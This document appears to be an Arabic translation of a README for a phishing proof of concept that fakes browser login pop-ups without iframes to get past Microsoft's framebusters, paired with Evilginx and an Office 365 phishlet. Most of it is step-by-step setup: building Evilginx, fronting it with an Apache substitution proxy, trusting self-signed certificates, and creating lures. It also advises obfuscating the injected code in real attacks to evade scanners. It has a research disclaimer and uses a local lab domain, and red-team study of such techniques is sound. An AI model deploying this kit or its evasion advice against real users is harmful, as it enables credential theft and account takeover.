
نهج جديد لـ Browser In The Browser (BITB) دون استخدام iframes، مما يتيح تجاوز أدوات منع الإطارات التقليدية التي تنفذها صفحات تسجيل الدخول مثل Microsoft وإمكانية الاستخدام مع Evilginx.
نهج جديد لمفهوم "متصفح داخل المتصفح" (BITB) دون استخدام iframes، مما يسمح بتجاوز أدوات كسر الإطارات التقليدية التي تنفذها صفحات تسجيل الدخول مثل Microsoft.
تم تصميم كود الإثبات هذا لاستخدام تقنية BITB الجديدة مع Evilginx، وقالب تسجيل دخول (phishlet) خاص بـ Microsoft Enterprise.

قبل الغوص في الموضوع، أوصيك بمشاهدة محاضرتي في BSides 2023، حيث قدمت هذا المفهوم لأول مرة مع تفاصيل مهمة حول كيفية صياغة هجوم التصيد "المثالي". ▶ شاهد الفيديو
هذه الأداة مخصصة للأغراض التعليمية والبحثية فقط. تقدم طريقة "متصفح داخل المتصفح" (BITB) غير قائمة على iframe. ليس المؤلف مسؤولاً عن أي استخدام خاطئ. استخدم هذه الأداة فقط بشكل قانوني وأخلاقي، في بيئات خاضعة للرقابة لاختبار الدفاعات السيبرانية. باستخدامك لهذه الأداة، فإنك توافق على استخدامها بمسؤولية وعلى مسؤوليتك الخاصة.
على مدار العام الماضي، كنت أجرب حيلاً مختلفة لصياغة هجوم التصيد "المثالي". "الأعلام الحمراء" النموذجية التي يدرب الناس على البحث عنها هي أشياء مثل الاستعجال والتهديدات والسلطة والأخطاء اللغوية، إلخ. الشيء التالي الذي يفحصه الناس هذه الأيام هو الرابط/عنوان URL للموقع الذي يتفاعلون معه، ويميلون إلى الحذر الشديد في اللحظة التي يُطلب منهم فيها إدخال بيانات حساسة مثل البريد الإلكتروني وكلمات المرور.
وهنا ظهر مفهوم "متصفح داخل المتصفح" (BITB). قدمه @mrd0x في الأصل، وهو مفهوم يخلق مظهر نافذة متصفح قابلة للتصديق يتحكم المهاجم في محتواها (عن طريق تقديم الموقع الخبيث داخل iframe). ومع ذلك، يتم تعيين شريط URL المزيف لنافذة المتصفح المزيفة إلى الموقع الشرعي الذي يتوقعه المستخدم. هذا مع أداة مثل Evilginx يصبح وصفة مثالية لهجوم تصيد مقنع.
المشكلة أنه على مدى الأشهر/السنوات الماضية، قامت مواقع رئيسية مثل Microsoft بتنفيذ حيل صغيرة متنوعة تسمى "framebusters/framekillers" والتي تهدف بشكل أساسي إلى كسر الإطارات iframe التي قد تُستخدم لتقديم الموقع الوكيل (proxied) كما هو الحال مع Evilginx.
باختصار، لم يعد Evilginx + BITB يعمل للمواقع مثل Microsoft. على الأقل ليس مع BITB الذي يعتمد على iframes.
متصفح داخل المتصفح (BITB) بدون أي iframes! بهذه البساطة.
مما يعني أنه يمكننا الآن استخدام BITB مع Evilginx على مواقع مثل Microsoft.
Evilginx هنا مجرد مثال قوي، لكن نفس المفهوم يمكن استخدامه لحالات استخدام أخرى أيضاً.
تستهدف أدوات كسر الإطارات (framebusters) الـ iframes تحديداً، لذا الفكرة هي إنشاء تأثير BITB دون استخدام iframes، ودون تعطيل البنية/المحتوى الأصلي للصفحة الموكلة (proxied). يمكن تحقيق ذلك عن طريق حقن نصوص (scripts) وأكواد HTML بجانب المحتوى الأصلي باستخدام البحث والاستبدال (المعروف بـ substitutions)، ثم الاعتماد كلياً على حيل HTML/CSS/JS لجعل التأثير البصري. نستخدم أيضاً خدعة إضافية تسمى "Shadow DOM" في HTML لوضع محتوى الصفحة المقصودة (الخلفية) بطريقة لا تتداخل مع المحتوى الموكَل، مما يسمح لنا باستخدام أي صفحة مقصودة بمرونة مع نصوص JS إضافية بسيطة.
قم بإنشاء جهاز افتراضي Linux محلي. (أنا شخصياً أستخدم Ubuntu 22 على VMWare Player أو Parallels Desktop)
قم بتحديث وترقية حزم النظام:
sudo apt update && sudo apt upgrade -y
إنشاء مستخدم جديد لـ Evilginx، وإضافة المستخدم إلى مجموعة sudo:
sudo su
adduser evilginx
usermod -aG sudo evilginx
تأكد أن مستخدم evilginx ضمن مجموعة sudo:
su - evilginx
sudo ls -la /root
انتقل إلى المجلد الرئيسي للمستخدم:
cd /home/evilginx
(يمكنك فعل كل شيء كمستخدم sudo أيضاً لأننا نشغل كل شيء محلياً)
تحميل وبناء Evilginx: الوثائق الرسمية
انسخ ملفات Evilginx إلى /home/evilginx
تثبيت Go: الوثائق الرسمية
wget https://go.dev/dl/go1.21.4.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.4.linux-amd64.tar.gz
nano ~/.profile
أضف: export PATH=$PATH:/usr/local/go/bin
source ~/.profile
تحقق:
go version
تثبيت make:
sudo apt install make
بناء Evilginx:
cd /home/evilginx/evilginx2
make
أنشئ مجلداً جديداً لبناء Evilginx الخاص بنا مع phishlets و redirectors:
mkdir /home/evilginx/evilginx
انسخ البناء و phishlets و redirectors:
cp /home/evilginx/evilginx2/build/evilginx /home/evilginx/evilginx/evilginx
cp -r /home/evilginx/evilginx2/redirectors /home/evilginx/evilginx/redirectors
cp -r /home/evilginx/evilginx2/phishlets /home/evilginx/evilginx/phishlets
إصلاح سريع لجدار الحماية في Ubuntu (شكراً لـ @kgretzky)
sudo setcap CAP_NET_BIND_SERVICE=+eip /home/evilginx/evilginx/evilginx
في Ubuntu، إذا ظهر لك الخطأ Failed to start nameserver on: :53، حاول تعديل هذا الملف
sudo nano /etc/systemd/resolved.conf
قم بتعديل/إضافة DNSStubListener إلى no > DNSStubListener=no
ثم
sudo systemctl restart systemd-resolved
بما أننا سنستخدم Apache2 أمام Evilginx، نحتاج إلى جعل Evilginx يستمع لمنفذ مختلف عن 443.
nano ~/.evilginx/config.json
غيّر https_port من 443 إلى 8443
تثبيت Apache2:
sudo apt install apache2 -y
تفعيل وحدات Apache2 التي سيتم استخدامها: (سنقوم أيضاً بتعطيل وحدة access_compat لأنها تسبب مشاكل أحياناً)
sudo a2enmod proxy
sudo a2enmod proxy_http
sudo a2enmod proxy_balancer
sudo a2enmod lbmethod_byrequests
sudo a2enmod env
sudo a2enmod include
sudo a2enmod setenvif
sudo a2enmod ssl
sudo a2ensite default-ssl
sudo a2enmod cache
sudo a2enmod substitute
sudo a2enmod headers
sudo a2enmod rewrite
sudo a2dismod access_compat
شغّل وفعّل Apache:
sudo systemctl start apache2
sudo systemctl enable apache2
جرب إن كان Apache وشبكة VM يعملان بزيارة عنوان IP الخاص بـ VM من متصفح على الجهاز المضيف.
تثبيت git إن لم يكن موجوداً:
sudo apt -y install git
استنساخ هذا المستودع:
git clone https://github.com/waelmas/frameless-bitb
cd frameless-bitb
أنشئ مجلدات للصفحات التي سنقدمها:
sudo mkdir /var/www/home
sudo mkdir /var/www/primary
sudo mkdir /var/www/secondary
انسخ مجلدات كل صفحة:
sudo cp -r ./pages/home/ /var/www/
sudo cp -r ./pages/primary/ /var/www/
sudo cp -r ./pages/secondary/ /var/www/
اختياري: حذف صفحة Apache الافتراضية (غير مستخدمة):
sudo rm -r /var/www/html/
انسخ قالب O365 phishlet إلى مجلد phishlets:
sudo cp ./O365.yaml /home/evilginx/evilginx/phishlets/O365.yaml
اختياري: لتعيين عنصر واجهة Calendly لاستخدام حسابك بدلاً من الافتراضي الموجود لدي، اذهب إلى pages/primary/script.js وغيّر CALENDLY_PAGE_NAME و CALENDLY_EVENT_TYPE.
ملاحظة حول التعتيم التجريبي: كما شرحت في فيديو الشرح، قمت بتضمين تعتيم بسيط للمحتوى النصي مثل عناوين URL وعناوين BITB. يمكنك فتح أداة التعتيم التجريبي بفتح demo-obfuscator.html في متصفحك.
في السيناريو الحقيقي، أوصي بشدة بتعتيم أجزاء أكبر من كود HTML المحقون أو استخدام حيل JS لتجنب الاكتشاف والإبلاغ. النسخة المتقدمة التي أعمل عليها ستستخدم مزيجاً من الحيل المتقدمة لجعل من المستحيل تقريباً للماسحات الضوئية التعرف على كود BITB أو اكتشافه، تابعونا.
بما أننا نشغل كل شيء محلياً، نحتاج إلى إنشاء شهادات SSL ذاتية التوقيع سيستخدمها Apache. لن يحتاج Evilginx إلى الشهادات لأننا سنشغله في وضع المطور.
سنستخدم النطاق fake.com والذي سيشير إلى VM المحلي. إذا كنت تريد استخدام نطاق مختلف، تأكد من تغييره في جميع الملفات (ملفات إعدادات Apache، ملفات JS، إلخ.)
أنشئ المجلد والمجلدات الأم إن لم تكن موجودة:
sudo mkdir -p /etc/ssl/localcerts/fake.com/
أنشئ شهادات SSL باستخدام ملف إعدادات OpenSSL:
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout /etc/ssl/localcerts/fake.com/privkey.pem -out /etc/ssl/localcerts/fake.com/fullchain.pem \
-config openssl-local.cnf
تعديل صلاحيات المفتاح الخاص:
sudo chmod 600 /etc/ssl/localcerts/fake.com/privkey.pem
انسخ ملفات الاستبدال المخصصة (جوهر هذا النهج):
sudo cp -r ./custom-subs /etc/apache2/custom-subs
ملاحظة مهمة: في هذا المستودع قمت بتضمين إعدادين للاستبدال: أحدهما لـ Chrome على Mac والآخر لـ Chrome على Windows BITB. كلاهما يحتوي على اكتشاف تلقائي وتنسيق للوضع الفاتح/الداكن ويجب أن يكونا قوالب أساسية لتحقيق نفس الشيء لمتصفحات/أنظمة تشغيل أخرى. نظراً لأنني لم أقم بتضمين اكتشاف تلقائي لمجموعة المتصفح/نظام التشغيل المستخدمة لزيارة صفحة التصيد، سيتعين عليك استخدام واحد من الاثنين أو تنفيذ منطقك الخاص للتبديل التلقائي.
كلا ملفي الإعدادات تحت /apache-configs/ متماثلان، مع اختلاف توجيه Include المستخدم لملف الاستبدال الذي سيتم تضمينه. (يوجد مرجعان لكل ملف)
# قم بإلغاء تعليق الملف الذي تريده وتذكر إعادة تشغيل Apache بعد أي تغييرات:
#Include /etc/apache2/custom-subs/win-chrome.conf
Include /etc/apache2/custom-subs/mac-chrome.conf
لجعل الأمر أسهل، قمت بتضمين كلا النسختين كملفين منفصلين لهذه الخطوة التالية.
Windows/Chrome BITB:
sudo cp ./apache-configs/win-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf
Mac/Chrome BITB:
sudo cp ./apache-configs/mac-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf
اختبر إعدادات Apache للتأكد من عدم وجود أخطاء:
sudo apache2ctl configtest
أعد تشغيل Apache لتطبيق التغييرات:
sudo systemctl restart apache2
احصل على عنوان IP الخاص بـ VM باستخدام ifconfig ودونه لمكان لاستخدامه في الخطوة التالية.
نحتاج الآن إلى إضافة إدخالات جديدة لملف hosts لدينا، لتوجيه النطاق المستخدم في هذا العرض fake.com وجميع النطاقات الفرعية المستخدمة إلى VM الذي يعمل عليه Apache و Evilginx.
على Windows:
افتح Notepad كمسؤول (ابدأ > Notepad > زر يمين > تشغيل كمسؤول)
انقر على خيار File (أعلى اليسار) وفي شريط عنوان مستكشف الملفات، انسخ والصق ما يلي:
C:\Windows\System32\drivers\etc\
غيّر نوع الملفات (أسفل اليمين) إلى "All files".
انقر نقراً مزدوجاً على الملف المسمى hosts
على Mac:
افتح terminal وشغّل الأمر التالي:
sudo nano /private/etc/hosts
الآن قم بتعديل السجلات التالية (استبدل [IP] بعنوان IP الخاص بـ VM) ثم الصق السجلات في نهاية ملف hosts:
# إعداد Apache و Evilginx المحلي
[IP] login.fake.com
[IP] account.fake.com
[IP] sso.fake.com
[IP] www.fake.com
[IP] portal.fake.com
[IP] fake.com
# نهاية القسم
احفظ واخرج.
أعد تشغيل متصفحك قبل الانتقال إلى الخطوة التالية.
ملاحظة: على Mac، استخدم الأمر التالي لمسح ذاكرة التخزين المؤقت DNS:
sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder
تم بناء هذا العرض مع قالب Office 365 Enterprise phishlet المقدم. للحصول على إدخالات المضيف التي تحتاج إلى إضافتها لقالب phishlet مختلف، استخدم phishlet get-hosts [PHISHLET_NAME] لكن تذكر استبدال 127.0.0.1 بعنوان IP المحلي الفعلي لـ VM الخاص بك.
بما أننا نستخدم شهادات SSL ذاتية التوقيع، سيحذرك متصفحنا في كل مرة نحاول فيها زيارة fake.com لذا نحتاج إلى جعل جهاز المضيف يثق في المرجع المصدق (CA) الذي وقع شهادات SSL.
لهذه الخطوة، من الأسهل متابعة تعليمات الفيديو، لكن إليك الخلاصة على أي حال.
افتح https://fake.com/ في متصفح Chrome.
تجاهل تحذير الموقع غير الآمن وانتقل إلى الصفحة.
انقر على أيقونة SSL > Details > Export Certificate هام: عند الحفظ، يجب أن ينتهي الاسم بـ .crt لكي يفتحه Windows بشكل صحيح.
انقر نقراً مزدوجاً عليه > install for current user. لا تختر التلقائي، بدلاً من ذلك ضع الشهادة في متجر محدد: اختر "Trusted Route Certification Authorities".
على Mac: لتثبيت المستخدم الحالي فقط > اختر "Keychain: login" و انقر على "View Certificates" > details > trust > Always trust
الآن قم بإعادة تشغيل المتصفح
يجب أن تكون قادراً على زيارة https://fake.com الآن ورؤية الصفحة الرئيسية دون أي تحذيرات SSL.
في هذه المرحلة، يجب أن يكون كل شيء جاهزاً لذا يمكننا المضي قدماً وتشغيل Evilginx، وإعداد القالب phishlet، وإنشاء الطعم (lure)، واختباره.
اختياري: تثبيت tmux (لإبقاء Evilginx قيد التشغيل حتى لو تم إغلاق جلسة الطرفية. مفيد بشكل أساسي عند التشغيل على VM بعيد.)
sudo apt install tmux -y
شغّل Evilginx في وضع المطور (باستخدام tmux لتجنب فقدان الجلسة):
tmux new-session -s evilginx
cd ~/evilginx/
./evilginx -developer
(لإعادة الاتصال بجلسة tmux استخدم tmux attach-session -t evilginx)
إعدادات Evilginx:
config domain fake.com
config ipv4 127.0.0.1
هام: اضبط وضع القائمة السوداء (Blacklist) في Evilginx على NoAdd لتجنب إدراج Apache في القائمة السوداء، حيث أن جميع الطلبات ستأتي من Apache وليس من عنوان IP الزائر الفعلي.
blacklist noadd
إعداد القالب phishlet والطعم:
phishlets hostname O365 fake.com
phishlets enable O365
lures create O365
lures get-url 0
انسخ رابط الطعم وقم بزيارته من متصفحك (استخدم مستخدم Guest على Chrome لتجنب الاضطرار لحذف جميع البيانات المخزنة/المحفوظة بين الاختبارات).
نظام BITB الأصلي المعتمد على iframe من @mrd0x: https://github.com/mrd0x/BITB
دورة Evilginx Mastery من مبتكر Evilginx @kgretzky: https://academy.breakdev.org/evilginx-mastery
محاضرتي في BSides 2023: https://www.youtube.com/watch?v=p1opa2wnRvg
كيفية حماية Evilginx باستخدام Cloudflare وتعتيم HTML: https://www.jackphilipbutton.com/post/how-to-protect-evilginx-using-cloudflare-and-html-obfuscation
موارد Evilginx لـ Microsoft 365 من @BakkerJan: https://janbakker.tech/evilginx-resources-for-microsoft-365/